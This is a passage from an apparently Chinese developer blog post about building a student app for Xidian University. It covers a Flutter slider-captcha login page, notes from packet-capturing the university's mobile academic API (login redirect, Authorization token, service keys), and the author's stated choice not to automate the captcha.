class=\"nl\"\u003econtentTypeHeader:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;application/x-www-form-urlencoded;charset=utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eHttpHeaders\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nl\"\u003eaccessControlAllowOriginHeader:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ids.xidian.edu.cn\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;errorCode\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// 涉及页面内异步,使用 mounted 判断是否异步完毕\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emounted\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"n\"\u003eupdateProvider\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e结束介绍,这破滑块验证码我还以为有啥高级的,结果就这?修这玩意最累的就是写这个滑块页,然后把我干感冒了。\u003c/p\u003e\n\u003cp\u003e顺便学校搞个文字验证码怕是比这个强吧,这个玩意随便一个 opencv 搞个亮度边缘检测估计就能破,都没必要让用户滑。文字验证码好歹还得文字识别,要真搞爬虫的话,也比这个难吧。不过 PDA 不打算实现自动化滑块验证码,因为这样总觉得有点黑产的感觉,或者说,“破坏计算机信息系统罪”?\u003c/p\u003e\n\u003cp\u003e顺便附上咱学校的滑块验证码用的\u003ca class=\"link\" href=\"https://gitee.com/LongbowEnterprise/SliderCaptcha\" target=\"_blank\" rel=\"noopener\"\n \u003e前端库源代码地址\u003c/a\u003e,这基本没改啊:-\\ 我对这个玩意真是无语了,修这玩意把我干感冒更是让我想骂街。所以我拉出了 Black Sabbath 的 Sabotage 专辑两首歌,\u003ca class=\"link\" href=\"https://music.163.com/#/song?id=16837102\" target=\"_blank\" rel=\"noopener\"\n \u003eSymptom Of The Universe\u003c/a\u003e 和 \u003ca class=\"link\" href=\"https://music.163.com/#/song?id=16837105\" target=\"_blank\" rel=\"noopener\"\n \u003eSupertzar\u003c/a\u003e 分别当作本版本 iOS 和 Android 的发行代号。\u003c/p\u003e\n\u003cp\u003e这两首歌的背景实际上也是种不满。Black Sabbath 乐队当时被乐队经理告上法庭,他们疲于为了法律问题奔命,根本没心情写歌。于是他们搞出来他们这一辈子最重的专辑。\u003c/p\u003e\n\u003ch2 id=\"教务移动端抓包记录\"\u003e教务移动端抓包记录\u003c/h2\u003e\n\u003cp\u003e一开始,为了提高 PDA 程序的稳定性,我决定在某些功能方面弃用 ehall ,这玩意半夜经常挂掉。所以,我打算使用我在学校小程序里面看到的教务新前端,兴许这玩意能稳定点,而且确实,在编程方面能简单些。但是后来我发现,这玩意挂掉的概率更高,所以我又改了回去,目前只有空闲教室使用了这个。\u003c/p\u003e\n\u003cp\u003e这个不适用于 v1.0.0 之后的版本。\u003c/p\u003e\n\u003ch3 id=\"如何登录\"\u003e如何登录\u003c/h3\u003e\n\u003cp\u003e在统一认证服务认证用户后,需要有个跳转地址,这个地址根据我的抓包,应该是这个:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ehttps://xxcapp.xidian.edu.cn/a_xidian/api/cas-login/indexredirect=https%3A%2F%2Fxxcapp.xidian.edu.cn%2Fuc%2Fapi%2Foauth%2Findex%3Fappid%3D200190304164516885%26redirect%3Dhttps%253A%252F%252Fehall.xidian.edu.cn%252Fjwmobile%252Fauth%252Findex%26state%3DSTATE%26qrcode%3D1\u0026amp;from=wap\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e他很长,很显然用到了其他的二级鉴权服务,但是我们不需要关心,在最开始跟着他 302 的 Location 跳转就好了。为啥是“在最开始”,因为跳转的 Location 里面有很重要的鉴权标志。\u003c/p\u003e\n\u003cp\u003e接下来的内容涉及到 Authorization 头,建议各位先看个\u003ca class=\"link\" href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Authorization\" target=\"_blank\" rel=\"noopener\"\n \u003e这玩意的介绍\u003c/a\u003e。我的程序中,有个双创招队伍展示的功能,那个的后端也是用的这玩意鉴权,而且显然比这玩意好写。\u003c/p\u003e\n\u003cp\u003e我上面提到了很多的 302 跳转,其中最重要的跳转是在 xxcapp 之后 get 的第一个 ehall ,那里面的 Location 充满了 token,那个 token 就是我们之后要用到的 Authorization token。\u003c/p\u003e\n\u003cp\u003e之后用功能的时候,需要在 Header 里面使用 Authorization,传过去这个 token 就行。\u003c/p\u003e\n\u003cp\u003e在使用一个服务的时候,根据抓包看出的规律,我们需要给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwmobile/biz/home/updateServiceUsage\" target=\"_blank\" rel=\"noopener\"\n \u003ehttps://ehall.xidian.edu.cn/jwmobile/biz/home/updateServiceUsage\u003c/a\u003e POST 一个 json 编码的数据,形式是 {\u0026ldquo;key\u0026rdquo;: 你要搞的服务}。\u003c/p\u003e\n\u003cp\u003e其中你要搞的服务有这些:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nt\"\u003e\u0026#34;data\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XK.MTXKSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;免听选课审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.XJYDSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;学籍异动申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.XYYJCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;学业预警查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.XYWCCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;学业完成查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.HKSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;缓考申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.HKSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;缓考审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.KSAPCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;考试安排查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.JKAPCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;监考安排查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.CJCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;成绩查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.TDBKSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;调停补课申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.TDBKSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;调停补课审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.JSJYSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;教室借用申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.JSJYSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;教室借用审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.KXJSCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;空闲教室查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;QT.SHKSBM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;社会考试报名\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XQBG\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;学期报告\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.TP\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;投票\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.WD\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;问答\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 